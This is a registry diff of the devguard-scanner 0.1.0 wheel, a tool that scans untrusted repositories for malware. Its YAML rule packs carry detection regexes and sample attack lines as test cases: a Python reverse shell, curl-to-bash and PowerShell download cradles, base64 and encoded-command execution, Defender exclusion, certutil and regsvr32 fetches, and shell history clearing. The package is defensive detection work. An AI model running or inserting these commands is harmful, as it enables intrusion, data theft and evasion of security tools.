devguard-scanner 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (67) hide show
  1. devguard/__init__.py +5 -0
  2. devguard/ai/__init__.py +0 -0
  3. devguard/ai/investigator.py +380 -0
  4. devguard/ai/prompts.py +113 -0
  5. devguard/ai/providers/__init__.py +0 -0
  6. devguard/ai/providers/anthropic.py +163 -0
  7. devguard/ai/providers/openai_compat.py +157 -0
  8. devguard/ai/registry.py +160 -0
  9. devguard/ai/run.py +119 -0
  10. devguard/ai/sdk.py +102 -0
  11. devguard/ai/testing.py +126 -0
  12. devguard/ai/tools.py +389 -0
  13. devguard/analyzers/__init__.py +0 -0
  14. devguard/analyzers/base.py +135 -0
  15. devguard/analyzers/carriers.py +345 -0
  16. devguard/analyzers/command.py +343 -0
  17. devguard/analyzers/content.py +240 -0
  18. devguard/analyzers/filesystem.py +142 -0
  19. devguard/analyzers/hidden.py +273 -0
  20. devguard/analyzers/imports.py +102 -0
  21. devguard/analyzers/jsonc.py +221 -0
  22. devguard/analyzers/surfaces/__init__.py +0 -0
  23. devguard/analyzers/surfaces/ai_assistants.py +318 -0
  24. devguard/analyzers/surfaces/autoload.py +142 -0
  25. devguard/analyzers/surfaces/common.py +242 -0
  26. devguard/analyzers/surfaces/deps.py +159 -0
  27. devguard/analyzers/surfaces/devcontainer.py +195 -0
  28. devguard/analyzers/surfaces/env.py +53 -0
  29. devguard/analyzers/surfaces/git.py +236 -0
  30. devguard/analyzers/surfaces/npm.py +304 -0
  31. devguard/analyzers/surfaces/python_pkg.py +138 -0
  32. devguard/analyzers/surfaces/vscode.py +515 -0
  33. devguard/cli.py +302 -0
  34. devguard/core/__init__.py +0 -0
  35. devguard/core/config.py +147 -0
  36. devguard/core/filetype.py +313 -0
  37. devguard/core/models.py +195 -0
  38. devguard/core/redact.py +72 -0
  39. devguard/core/safefs.py +280 -0
  40. devguard/core/scoring.py +60 -0
  41. devguard/core/service.py +211 -0
  42. devguard/correlate/__init__.py +0 -0
  43. devguard/correlate/chains.py +160 -0
  44. devguard/mcp/__init__.py +0 -0
  45. devguard/mcp/server.py +442 -0
  46. devguard/report/__init__.py +0 -0
  47. devguard/report/escape.py +31 -0
  48. devguard/report/markdown.py +242 -0
  49. devguard/report/sarif.py +96 -0
  50. devguard/report/terminal.py +47 -0
  51. devguard/report/writer.py +52 -0
  52. devguard/rules/__init__.py +0 -0
  53. devguard/rules/catalog.py +96 -0
  54. devguard/rules/content/ai_instructions.yaml +111 -0
  55. devguard/rules/content/cross_language.yaml +228 -0
  56. devguard/rules/content/docs.yaml +63 -0
  57. devguard/rules/content/javascript.yaml +171 -0
  58. devguard/rules/content/obfuscation.yaml +138 -0
  59. devguard/rules/content/python.yaml +144 -0
  60. devguard/rules/content/shell.yaml +109 -0
  61. devguard/rules/content/windows.yaml +95 -0
  62. devguard/rules/data/vscode_settings.yaml +81 -0
  63. devguard_scanner-0.1.0.dist-info/METADATA +84 -0
  64. devguard_scanner-0.1.0.dist-info/RECORD +67 -0
  65. devguard_scanner-0.1.0.dist-info/WHEEL +4 -0
  66. devguard_scanner-0.1.0.dist-info/entry_points.txt +7 -0
  67. devguard_scanner-0.1.0.dist-info/licenses/LICENSE +201 -0
@@ -0,0 +1,144 @@
1
+ pack: python
2
+ rules:
3
+ - id: DG-PY-EXEC-DECODED-001
4
+ title: Decoded or decompressed data executed
5
+ threat: [TC-07.2, TC-08.5, TC-08.6]
6
+ languages: [python]
7
+ severity: critical
8
+ confidence: high
9
+ within: lines:3
10
+ match:
11
+ all:
12
+ - regex: '\b(b64decode|b32decode|a85decode|decodebytes|zlib\.decompress|lzma\.decompress|bz2\.decompress|marshal\.loads|codecs\.decode|bytes\.fromhex|unhexlify)\s*\(|__import__\(\s*[''"](base64|zlib|marshal|codecs)[''"]\s*\)'
13
+ - regex: '\b(exec|eval)\s*\(|\bcompile\s*\([^)\n]*[''"]exec[''"]'
14
+ explanation: >
15
+ Encoded or compressed data is decoded and executed. Layered exec(zlib/base64/marshal) is
16
+ the standard wrapper for malicious Python payloads.
17
+ benign_context: Very rare in legitimate code outside of packers and self-extracting installers.
18
+ tests:
19
+ positive:
20
+ - |
21
+ exec(base64.b64decode("cHJpbnQoMSk="))
22
+ - |
23
+ import zlib,base64
24
+ code = zlib.decompress(base64.b64decode(blob))
25
+ exec(code)
26
+ negative:
27
+ - |
28
+ data = base64.b64decode(payload)
29
+ print(len(data))
30
+
31
+ - id: DG-PY-DOWNLOAD-EXEC-001
32
+ title: Remote content fetched and executed
33
+ threat: [TC-07.1, TC-07.2]
34
+ languages: [python]
35
+ severity: critical
36
+ confidence: medium
37
+ within: lines:6
38
+ match:
39
+ all:
40
+ - regex: '\b(urlopen|urlretrieve|requests\.(get|post)|httpx\.(get|post)|urllib\.request\.\w+|http\.client\.\w+)\s*\('
41
+ - regex: '\b(exec|eval)\s*\('
42
+ explanation: Code downloaded from the network is executed directly.
43
+ tests:
44
+ positive:
45
+ - |
46
+ src = urllib.request.urlopen("https://example.invalid/x").read()
47
+ exec(src)
48
+ - |
49
+ exec(requests.get(u).text)
50
+ negative:
51
+ - |
52
+ r = requests.get(u)
53
+ data = r.json()
54
+
55
+ - id: DG-PY-DOWNLOAD-RUN-001
56
+ title: File downloaded and run as a process
57
+ threat: [TC-07.1, TC-07.3]
58
+ languages: [python]
59
+ severity: high
60
+ confidence: medium
61
+ within: lines:15
62
+ match:
63
+ all:
64
+ - regex: '\b(urlopen|urlretrieve|requests\.get|httpx\.get)\s*\('
65
+ - regex: '\b(subprocess\.(run|Popen|call|check_call|check_output)|os\.(system|popen|startfile|exec\w+))\s*\('
66
+ - regex: '\bos\.chmod\s*\(|\.write\s*\(|urlretrieve'
67
+ explanation: The script downloads a file and starts a process shortly after, the typical second-stage dropper pattern.
68
+ benign_context: Bootstrap scripts that download a pinned tool from an official release URL.
69
+ tests:
70
+ positive:
71
+ - |
72
+ urllib.request.urlretrieve(u, p)
73
+ os.chmod(p, 0o755)
74
+ subprocess.Popen([p])
75
+ negative:
76
+ - |
77
+ r = requests.get(u)
78
+ print(r.status_code)
79
+
80
+ - id: DG-PY-ENV-HARVEST-001
81
+ title: Whole environment serialized and sent over the network
82
+ threat: [TC-07.4, TC-07.5]
83
+ languages: [python]
84
+ severity: high
85
+ confidence: medium
86
+ match:
87
+ all:
88
+ - regex: '\bdict\(\s*os\.environ\s*\)|json\.dumps\(\s*(dict\()?\s*os\.environ|\bos\.environ\.copy\(\)|\{\*\*os\.environ'
89
+ - regex: '\b(requests\.(post|put)|httpx\.(post|put)|urlopen|socket\.\w+|smtplib)\b'
90
+ explanation: The script collects all environment variables and transmits data over the network.
91
+ benign_context: Copying os.environ to pass to subprocess is common; check what is actually sent.
92
+ tests:
93
+ positive:
94
+ - |
95
+ requests.post(u, json=dict(os.environ))
96
+ negative:
97
+ - |
98
+ env = os.environ.copy(); env["X"] = "1"; subprocess.run(cmd, env=env)
99
+
100
+ - id: DG-PY-SETUP-CMDCLASS-001
101
+ title: setup.py overrides install commands
102
+ threat: [TC-04.3]
103
+ languages: [python]
104
+ paths: [setup.py]
105
+ severity: medium
106
+ confidence: medium
107
+ category: lifecycle
108
+ match:
109
+ all:
110
+ - regex: '\bcmdclass\s*='
111
+ - regex: 'class\s+\w+\s*\(\s*(install|develop|egg_info|build_py|sdist|bdist_egg)\b'
112
+ explanation: >
113
+ setup.py replaces a standard install command with custom code, which runs automatically
114
+ when the package is installed from source.
115
+ benign_context: Packages that compile extensions or generate files sometimes customize build commands.
116
+ tests:
117
+ path: setup.py
118
+ positive:
119
+ - |
120
+ class PostInstall(install):
121
+ def run(self): install.run(self); os.system("x")
122
+ setup(cmdclass={"install": PostInstall})
123
+ negative:
124
+ - |
125
+ setup(name="x", packages=["x"])
126
+
127
+ - id: DG-PY-PTY-SHELL-001
128
+ title: Socket connected to an interactive shell
129
+ threat: [TC-07.7]
130
+ languages: [python]
131
+ severity: critical
132
+ confidence: high
133
+ match:
134
+ all:
135
+ - regex: '\bsocket\.socket\s*\('
136
+ - regex: '\bos\.dup2\s*\(|\bpty\.spawn\s*\('
137
+ explanation: A socket is wired to the process's standard streams or a PTY, which is a reverse shell.
138
+ tests:
139
+ positive:
140
+ - |
141
+ s=socket.socket();s.connect((h,4444));os.dup2(s.fileno(),0);pty.spawn("/bin/sh")
142
+ negative:
143
+ - |
144
+ s = socket.socket(); s.connect((h, 80)); s.send(b"GET /")
@@ -0,0 +1,109 @@
1
+ pack: shell
2
+ rules:
3
+ - id: DG-SH-PIPE-SHELL-001
4
+ title: Download piped directly into an interpreter
5
+ threat: [TC-07.1]
6
+ languages: [shell, make]
7
+ severity: high
8
+ confidence: high
9
+ match:
10
+ any:
11
+ - regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+(-\S+\s+)*)?(ba|z|da|k)?sh\b'
12
+ - regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(python3?|node|perl|ruby|php)\b'
13
+ - regex: '\b(ba|z)?sh\s+(-c\s+)?["'']?\$\(\s*(curl|wget)\b'
14
+ - regex: '\b(ba|z)?sh\s+<\(\s*(curl|wget)\b'
15
+ explanation: Remote content is executed without being saved or reviewed first.
16
+ benign_context: Well-known installers (rustup, nvm, Homebrew) are distributed this way from official domains.
17
+ next_step: Check the URL's domain. Never run it from an untrusted repository.
18
+ tests:
19
+ positive:
20
+ - |
21
+ curl -fsSL https://example.invalid/i.sh | bash
22
+ - |
23
+ bash -c "$(wget -qO- https://example.invalid/x)"
24
+ negative:
25
+ - |
26
+ curl -fsSL -o install.sh https://example.invalid/i.sh
27
+
28
+ - id: DG-SH-PIPE-SHELL-002
29
+ title: Container or CI build pipes a download into a shell
30
+ threat: [TC-04.11, TC-06.7]
31
+ languages: [dockerfile, yaml]
32
+ severity: low
33
+ confidence: medium
34
+ category: build-config
35
+ match:
36
+ regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+(-\S+\s+)*)?(ba|z|da)?sh\b'
37
+ explanation: >
38
+ A Dockerfile or CI configuration executes a downloaded script. It runs inside the container or CI runner,
39
+ not on your machine, but still trusts whatever the URL serves at build time.
40
+ benign_context: Common for official vendor setup scripts (e.g. NodeSource, rustup).
41
+ tests:
42
+ positive:
43
+ - |
44
+ RUN curl -fsSL https://example.invalid/setup.sh | bash -
45
+ negative:
46
+ - |
47
+ RUN apt-get update && apt-get install -y curl
48
+
49
+ - id: DG-SH-BASE64-EXEC-001
50
+ title: Base64 payload decoded and executed by a shell
51
+ threat: [TC-07.2, TC-08.5]
52
+ languages: [shell, dockerfile, make, yaml]
53
+ severity: high
54
+ confidence: high
55
+ match:
56
+ any:
57
+ - regex: 'base64\s+(-d|--decode|-D)\b[^|\n]*\|\s*(sudo\s+)?(ba|z)?sh\b'
58
+ - regex: '\becho\s+["'']?[A-Za-z0-9+/=]{40,}["'']?\s*\|\s*base64\s+(-d|--decode|-D)'
59
+ - regex: '\beval\s+"?\$\(\s*(echo|printf)[^)]*\|\s*base64\s+(-d|--decode)'
60
+ explanation: A hidden command is stored base64-encoded and executed, which hides its intent from reviewers.
61
+ tests:
62
+ positive:
63
+ - |
64
+ echo ZWNobyBoZWxsbyB3b3JsZCAmJiBpZCAmJiB3aG9hbWkgJiYgdW5hbWUgLWE= | base64 -d | sh
65
+ negative:
66
+ - |
67
+ base64 -d cert.b64 > cert.pem
68
+
69
+ - id: DG-SH-DOWNLOAD-CHMOD-RUN-001
70
+ title: Binary downloaded, made executable, and run
71
+ threat: [TC-07.1, TC-07.3]
72
+ languages: [shell, dockerfile, make]
73
+ severity: medium
74
+ confidence: medium
75
+ within: lines:6
76
+ match:
77
+ all:
78
+ - regex: '\b(curl|wget)\b[^\n]*(-o|-O|--output)\s*\S+'
79
+ - regex: '\bchmod\s+(\+x|[0-7]?7[0-7][0-7])\s'
80
+ - regex: '(^|[;&|\s])(\./|/tmp/|\$HOME/|~/)[\w./-]+'
81
+ explanation: A file is downloaded, marked executable, and started, the shape of a dropper.
82
+ benign_context: CI and install scripts fetch pinned tool releases this way.
83
+ tests:
84
+ positive:
85
+ - |
86
+ curl -sL https://example.invalid/a -o /tmp/a
87
+ chmod +x /tmp/a
88
+ /tmp/a &
89
+ negative:
90
+ - |
91
+ curl -sL https://example.invalid/a.tar.gz -o a.tgz
92
+ tar xzf a.tgz
93
+
94
+ - id: DG-SH-HISTORY-EVASION-001
95
+ title: Shell history tampering
96
+ threat: [TC-07.9]
97
+ languages: [shell]
98
+ severity: medium
99
+ confidence: medium
100
+ match:
101
+ regex: '\bunset\s+HISTFILE\b|\bhistory\s+-c\b|\bHISTSIZE=0\b|\bHISTFILE=/dev/null\b'
102
+ explanation: The script hides its activity by disabling or clearing shell history.
103
+ tests:
104
+ positive:
105
+ - |
106
+ unset HISTFILE; history -c
107
+ negative:
108
+ - |
109
+ echo "$HISTFILE"
@@ -0,0 +1,95 @@
1
+ pack: windows
2
+ rules:
3
+ - id: DG-PS-DOWNLOAD-EXEC-001
4
+ title: PowerShell download cradle
5
+ threat: [TC-07.1, TC-07.2]
6
+ languages: &code [javascript, python, shell, powershell, batch, vbscript, json, yaml, toml, ini, xml, dockerfile, make, ruby, php, go, perl, groovy, kotlin, java, csharp, lua, rust, dotenv]
7
+ severity: critical
8
+ confidence: high
9
+ match:
10
+ any:
11
+ - regex: '(?i)\b(iex|Invoke-Expression)\b[^\n]{0,200}\b(iwr|irm|Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadData|Net\.WebClient)\b'
12
+ - regex: '(?i)\b(iwr|irm|Invoke-WebRequest|Invoke-RestMethod|DownloadString)\b[^\n|]{0,200}\|\s*(iex|Invoke-Expression)\b'
13
+ explanation: Remote PowerShell content is downloaded and executed in memory.
14
+ benign_context: Some official installers (e.g. Chocolatey, Scoop) document this pattern.
15
+ tests:
16
+ positive:
17
+ - |
18
+ iex (New-Object Net.WebClient).DownloadString('https://example.invalid/a.ps1')
19
+ - |
20
+ irm https://example.invalid/x | iex
21
+ negative:
22
+ - |
23
+ Invoke-WebRequest -Uri $u -OutFile out.zip
24
+
25
+ - id: DG-PS-ENCODED-001
26
+ title: PowerShell encoded command
27
+ threat: [TC-07.2, TC-08.5]
28
+ languages: *code
29
+ severity: high
30
+ confidence: high
31
+ match:
32
+ regex: '(?i)\b(powershell|pwsh)(\.exe)?\b[^\n]*\s-(e|ec|en|enc|enco|encodedcommand)\s+[A-Za-z0-9+/=]{20,}'
33
+ explanation: The command line hides a PowerShell script as base64 (-EncodedCommand), a common obfuscation step.
34
+ tests:
35
+ positive:
36
+ - |
37
+ powershell.exe -NoP -W Hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA
38
+ negative:
39
+ - |
40
+ powershell -File build.ps1 -Environment prod
41
+
42
+ - id: DG-PS-HIDDEN-WINDOW-001
43
+ title: Hidden PowerShell window
44
+ threat: [TC-07.3, TC-07.9]
45
+ languages: *code
46
+ severity: medium
47
+ confidence: medium
48
+ match:
49
+ regex: '(?i)\b(powershell|pwsh)(\.exe)?\b[^\n]*\s-(w|wi|win|window|windowstyle)\s+h(idden)?\b'
50
+ explanation: PowerShell is started with a hidden window so the user does not see it run.
51
+ tests:
52
+ positive:
53
+ - |
54
+ start powershell -WindowStyle Hidden -File x.ps1
55
+ negative:
56
+ - |
57
+ powershell -NoProfile -File x.ps1
58
+
59
+ - id: DG-PS-AV-TAMPER-001
60
+ title: Antivirus / AMSI tampering
61
+ threat: [TC-07.9]
62
+ languages: *code
63
+ severity: critical
64
+ confidence: high
65
+ match:
66
+ regex: '(?i)\bAmsiUtils\b|\bamsiInitFailed\b|\bSet-MpPreference\b[^\n]*-Disable\w*|\bAdd-MpPreference\b[^\n]*-Exclusion\w*'
67
+ explanation: The code disables or bypasses Windows Defender / AMSI, which legitimate project code has no reason to do.
68
+ tests:
69
+ positive:
70
+ - |
71
+ Add-MpPreference -ExclusionPath $env:TEMP
72
+ negative:
73
+ - |
74
+ Get-MpComputerStatus
75
+
76
+ - id: DG-WIN-LOLBIN-001
77
+ title: Windows living-off-the-land binary used to fetch or run code
78
+ threat: [TC-07.1]
79
+ languages: *code
80
+ severity: high
81
+ confidence: high
82
+ match:
83
+ regex: '(?i)\b(mshta|rundll32|regsvr32|certutil|bitsadmin|wmic)(\.exe)?\b[^\n]*(https?:|-urlcache|/i:|javascript:|-decode\b|/transfer\b|process\s+call\s+create)'
84
+ explanation: >
85
+ A built-in Windows binary is abused to download or execute code (mshta, certutil -urlcache,
86
+ regsvr32 /i:http, bitsadmin /transfer, ...).
87
+ tests:
88
+ positive:
89
+ - |
90
+ certutil -urlcache -split -f https://example.invalid/a.exe a.exe
91
+ - |
92
+ regsvr32 /s /n /u /i:https://example.invalid/a.sct scrobj.dll
93
+ negative:
94
+ - |
95
+ certutil -hashfile file.zip SHA256
@@ -0,0 +1,81 @@
1
+ # VS Code settings whose value makes an extension run a program (TC-01.3).
2
+ # Data file: extend without code changes. Keys are matched exactly; suffixes match the end of a key.
3
+ executable_keys:
4
+ - python.defaultInterpreterPath
5
+ - python.pythonPath
6
+ - python.condaPath
7
+ - python.poetryPath
8
+ - python.pipenvPath
9
+ - typescript.tsdk
10
+ - js/ts.tsdk.path
11
+ - eslint.nodePath
12
+ - eslint.runtime
13
+ - prettier.prettierPath
14
+ - go.alternateTools
15
+ - go.toolsGopath
16
+ - rust-analyzer.server.path
17
+ - java.jdt.ls.java.home
18
+ - java.home
19
+ - git.path
20
+ - php.validate.executablePath
21
+ - php.executablePath
22
+ - clangd.path
23
+ - C_Cpp.clang_format_path
24
+ - cmake.cmakePath
25
+ - deno.path
26
+ - rubyLsp.rubyExecutablePath
27
+ - ruby.interpreter.commandPath
28
+ - omnisharp.path
29
+ - dotnet.dotnetPath
30
+ - julia.executablePath
31
+ - dart.sdkPath
32
+ - dart.flutterSdkPath
33
+ - ruff.path
34
+ - ruff.interpreter
35
+ - pylint.path
36
+ - pylint.interpreter
37
+ - flake8.path
38
+ - black-formatter.path
39
+ - isort.path
40
+ - mypy-type-checker.path
41
+ - terminal.external.linuxExec
42
+ - terminal.external.osxExec
43
+ - terminal.external.windowsExec
44
+ executable_suffixes:
45
+ - .executablePath
46
+ - .serverPath
47
+ - .commandPath
48
+ - .interpreterPath
49
+ - .binaryPath
50
+ - .exePath
51
+ - .nodePath
52
+ command_keys:
53
+ - rust-analyzer.cargo.buildScripts.overrideCommand
54
+ - rust-analyzer.check.overrideCommand
55
+ - rust-analyzer.procMacro.server
56
+ - jest.jestCommandLine
57
+ - jest.shell
58
+ - npm.scriptRunner
59
+ command_suffixes:
60
+ - .overrideCommand
61
+ - .commandLine
62
+ - CommandLine
63
+ # files.exclude / search.exclude patterns that are normal and never reported
64
+ benign_exclude_patterns:
65
+ - "**/.git"
66
+ - "**/.svn"
67
+ - "**/.hg"
68
+ - "**/CVS"
69
+ - "**/.DS_Store"
70
+ - "**/Thumbs.db"
71
+ - "**/node_modules"
72
+ - "**/__pycache__"
73
+ - "**/*.pyc"
74
+ - "**/.pytest_cache"
75
+ - "**/.mypy_cache"
76
+ - "**/dist"
77
+ - "**/out"
78
+ - "**/build"
79
+ - "**/coverage"
80
+ - "**/bower_components"
81
+ - "**/*.code-search"
@@ -0,0 +1,84 @@
1
+ Metadata-Version: 2.5
2
+ Name: devguard-scanner
3
+ Version: 0.1.0
4
+ Summary: Scan untrusted code repositories for malware before you open, install, or run them. Files are analyzed as data and never executed.
5
+ Project-URL: Homepage, https://github.com/yilmazhasan/dev-guard
6
+ Project-URL: Documentation, https://github.com/yilmazhasan/dev-guard/tree/main/docs
7
+ Project-URL: Issues, https://github.com/yilmazhasan/dev-guard/issues
8
+ Project-URL: Changelog, https://github.com/yilmazhasan/dev-guard/blob/main/CHANGELOG.md
9
+ Author: yilmazhasan
10
+ License-Expression: Apache-2.0
11
+ License-File: LICENSE
12
+ Keywords: devsecops,malware,mcp,scanner,security,supply-chain,vscode
13
+ Classifier: Development Status :: 3 - Alpha
14
+ Classifier: Environment :: Console
15
+ Classifier: Intended Audience :: Developers
16
+ Classifier: Operating System :: OS Independent
17
+ Classifier: Programming Language :: Python :: 3
18
+ Classifier: Programming Language :: Python :: 3.12
19
+ Classifier: Programming Language :: Python :: 3.13
20
+ Classifier: Programming Language :: Python :: 3.14
21
+ Classifier: Topic :: Security
22
+ Classifier: Topic :: Software Development :: Quality Assurance
23
+ Requires-Python: >=3.12
24
+ Requires-Dist: pydantic<3,>=2.7
25
+ Requires-Dist: pyyaml<7,>=6.0.1
26
+ Provides-Extra: anthropic
27
+ Requires-Dist: anthropic<2,>=1.0; extra == 'anthropic'
28
+ Provides-Extra: mcp
29
+ Requires-Dist: mcp<3,>=2.3; extra == 'mcp'
30
+ Provides-Extra: openai
31
+ Requires-Dist: openai<4,>=1.50; extra == 'openai'
32
+ Description-Content-Type: text/markdown
33
+
34
+ # DevGuard
35
+
36
+ Scan a repository for malware **before** you open it in your IDE, install its dependencies, or run it.
37
+
38
+ Malicious repositories (fake job-interview tasks, poisoned forks, hijacked packages) rarely wait for you to run
39
+ `main.py`. They run automatically: a VS Code task on folder open, an npm `postinstall` script, a git hook, an AI
40
+ assistant hook, a loader hidden in `tailwind.config.js`. DevGuard finds those triggers, follows them to the code
41
+ they run, and tells you whether it is safe to proceed. It reads files as data and **never executes anything**.
42
+
43
+ ## Install
44
+
45
+ ```bash
46
+ pipx install devguard-scanner # or: uv tool install devguard-scanner
47
+ ```
48
+
49
+ ## Use
50
+
51
+ ```bash
52
+ devguard scan path/to/repo
53
+ ```
54
+
55
+ ```text
56
+ DevGuard scan complete
57
+ Target: interview-task
58
+ Verdict: BLOCK | Do not open, install, or run this project. Strong indicators of malicious behavior were found.
59
+ Findings: 5 (1 critical, 2 high, 1 medium, 1 low)
60
+ - [critical] Automatic trigger reaches dangerous code (package.json:5)
61
+ - [high] Browser profile data targeted (lib/collect.js:7)
62
+ - [high] Cryptocurrency wallet data targeted (lib/collect.js:10)
63
+ Report (md): ~/.local/share/devguard/reports/interview-task-1a2b3c4d/latest/report.md
64
+ ```
65
+
66
+ | Verdict | Meaning |
67
+ |---|---|
68
+ | `block` | Do not open, install, or run it. |
69
+ | `review` | Read the report first. |
70
+ | `indicators` | Weak signals only, often benign. |
71
+ | `no-indicators` | Nothing found by the enabled checks (not a guarantee). |
72
+
73
+ Exit code `1` means findings at or above `--fail-on` (default `high`), so it works as a CI gate.
74
+
75
+ ## More
76
+
77
+ - [Getting started](docs/getting-started.md): options, reports, exit codes
78
+ - [AI investigation](docs/ai.md): optional explanations from Claude, OpenAI, Gemini, or a local model
79
+ - [Provider plugins](docs/plugins.md): connect any LLM with a small Python file
80
+ - [MCP server](docs/mcp.md): let Claude Code, Cursor, or Copilot check a repo before acting on it
81
+ - [CI and pre-commit](docs/ci.md) · [Configuration](docs/configuration.md) · [How it works](docs/how-it-works.md)
82
+ - [Contributing](CONTRIBUTING.md) · [Security policy](SECURITY.md)
83
+
84
+ Licensed under [Apache-2.0](LICENSE).
@@ -0,0 +1,67 @@
1
+ devguard/__init__.py,sha256=NkueeYLERgJ3rqqdUo-QMYc2AxEYTNaQE4vRqI4qoh4,147
2
+ devguard/cli.py,sha256=LibIluIzqL8VJEg7G-ZhBGTsffkX0YTvxP_v8bXssR8,12828
3
+ devguard/ai/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
4
+ devguard/ai/investigator.py,sha256=wucE0DvYW58C_UIOYtY3ZEhix6Sr96MGSZ9drKnF8t8,15651
5
+ devguard/ai/prompts.py,sha256=rNsNKKGWujXBWheCIgMbwCByxzyaob1fXS91eLWJk2Q,5313
6
+ devguard/ai/registry.py,sha256=GVnA8sm8dwU-BawIfIoc74ESaa5VbcDTzRFkPWPsTYI,6335
7
+ devguard/ai/run.py,sha256=caSwXjAyBvjX4O9oGHhY6B3UAtyrcDpZ5TuFZP0UeU8,4574
8
+ devguard/ai/sdk.py,sha256=ilRyC7FWQgm0v9kkknXLjUQfunR-TNRYHMpWWr5ntIE,3122
9
+ devguard/ai/testing.py,sha256=3VtugRlKQ0VF5zrX2PjV2E1lKdae94eesToIlHZQw6M,4637
10
+ devguard/ai/tools.py,sha256=3V6Fa8_LLIFLMExujnJwtIDW0E4it5hP3toQwL_H1_8,14478
11
+ devguard/ai/providers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
12
+ devguard/ai/providers/anthropic.py,sha256=5-AHoDIsA3Y7PZ5pNOJVS5YqlSyV76MlMZkoKtLB0D0,6821
13
+ devguard/ai/providers/openai_compat.py,sha256=t2Iy8uCaZNzqv7pgGM7ORVq_f-AdQoa936ekQkxXjjk,6611
14
+ devguard/analyzers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
15
+ devguard/analyzers/base.py,sha256=0XCC1U6EvYcmYGVpcPsqy0_oOFzCcuxgoB058-m95G0,4390
16
+ devguard/analyzers/carriers.py,sha256=C4g2tiPsFhEvTntX4fTDysolcpcXciM0AJEN3x3i4P4,11811
17
+ devguard/analyzers/command.py,sha256=bptEm5Ex2HiK6p2FN6tPquumO1fu4PTib1glOTJ-vTQ,12442
18
+ devguard/analyzers/content.py,sha256=O9cjW7t6-JEnwjwG8UsXJJkS03mInppaiB9QrHooUPY,8552
19
+ devguard/analyzers/filesystem.py,sha256=BM2kjwY-mbZ6aGDbhToAzcbjSnzJFN5qI_lyphKTsDE,5023
20
+ devguard/analyzers/hidden.py,sha256=twlneGIgbohU1nMmr5NXKRBs7JS4LftBAvWNjipzjQ4,9939
21
+ devguard/analyzers/imports.py,sha256=gga66Ejd-O5AMLLPq87M1nlkC_VVqJTtrq3MgfFN-Og,3875
22
+ devguard/analyzers/jsonc.py,sha256=6AY2QvkCLxUYOO7HbIIUXwuPH3hmPESVTng7zBg0ov4,7402
23
+ devguard/analyzers/surfaces/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
24
+ devguard/analyzers/surfaces/ai_assistants.py,sha256=x2uRr46XYdCFSCqVKAwnk7VtRNp2FA_aA12PbuoDQ88,11599
25
+ devguard/analyzers/surfaces/autoload.py,sha256=t_KZ8ucRtXQmVyW6gJpQPOmjFKr4AZhfYLrCVcxNOPM,4962
26
+ devguard/analyzers/surfaces/common.py,sha256=9wc4WSE37G3hxNzl85QO-pIZhHzx13C4ZHJ1FiTUq1g,7682
27
+ devguard/analyzers/surfaces/deps.py,sha256=6g34JqZ17mQ3u7kGQ_jN0bl6Za1V2q7uvtLMdpbefG8,6638
28
+ devguard/analyzers/surfaces/devcontainer.py,sha256=Uo4PKukhVgrxxbJjpNLviFFtjhuFbwnAHzEDCf954dI,7500
29
+ devguard/analyzers/surfaces/env.py,sha256=FAe2ae0GkRO8aEw2lvc5NTllyPQlZwz88YGR0Z7K8Lk,1904
30
+ devguard/analyzers/surfaces/git.py,sha256=xwcbj4MdV2Zvn4ii7uPdwPVrPxruOjx8fBlFvcmgxdA,9002
31
+ devguard/analyzers/surfaces/npm.py,sha256=RJkr8xm9fAIDzWZW7jevgvuHpBZqVlFYSEUZiBY7qik,12223
32
+ devguard/analyzers/surfaces/python_pkg.py,sha256=PHP0jIcfSyCqlDiVRKZEK07mNB1CfizpuYsol2SqwIY,5494
33
+ devguard/analyzers/surfaces/vscode.py,sha256=mmo50W5nzcoQKp6XG_6kPzMS1kpnI5wtKNunn1E6Lkk,21081
34
+ devguard/core/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
35
+ devguard/core/config.py,sha256=P2igrTVebTQ0m29o25jyFNCAvNc3y61JnqajtGaTYxs,5040
36
+ devguard/core/filetype.py,sha256=4jdXDt3bpokjegd5EUFHXl39jgW8CJxymUU0AkDmSjU,8563
37
+ devguard/core/models.py,sha256=mDhSvKWQXLUN6Blh5Kva51EByt_vuaIi2848y9zFxeg,5603
38
+ devguard/core/redact.py,sha256=CJVQufViwQiGkzRw3eRN-As3BHDTm6H3QrDfG4Lt3T4,2521
39
+ devguard/core/safefs.py,sha256=ijC7jxc18JWGTydSa4F_fxG_f8P36Esk4Zoxef5va6s,10746
40
+ devguard/core/scoring.py,sha256=rR3IgUXob2MJ10bOP_dtVc0TtgiyWgFZYc1D-4l9W8Q,2547
41
+ devguard/core/service.py,sha256=nay8dcq2XlwhuM323WeCDcyI3nRHa3GJ2tP9mKA7FJU,8055
42
+ devguard/correlate/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
43
+ devguard/correlate/chains.py,sha256=Jj7CeY_BBfGHf1cW7Nl53aorF4mGQ5-xFYrkGqQ6tGw,6649
44
+ devguard/mcp/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
45
+ devguard/mcp/server.py,sha256=Fl07jA6CFGb5BmqxTQzyitBKmmhtZuicPAW6NCq1ZiI,20089
46
+ devguard/report/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
47
+ devguard/report/escape.py,sha256=uFWFSE1EhWk0tOBO4y15rFrcg-Uot_Qdakqv8gWVZn0,1195
48
+ devguard/report/markdown.py,sha256=9HYSh0EylQKZgE2pcpOuqWWi5s8vLUxO_z5k1VrDWfc,8918
49
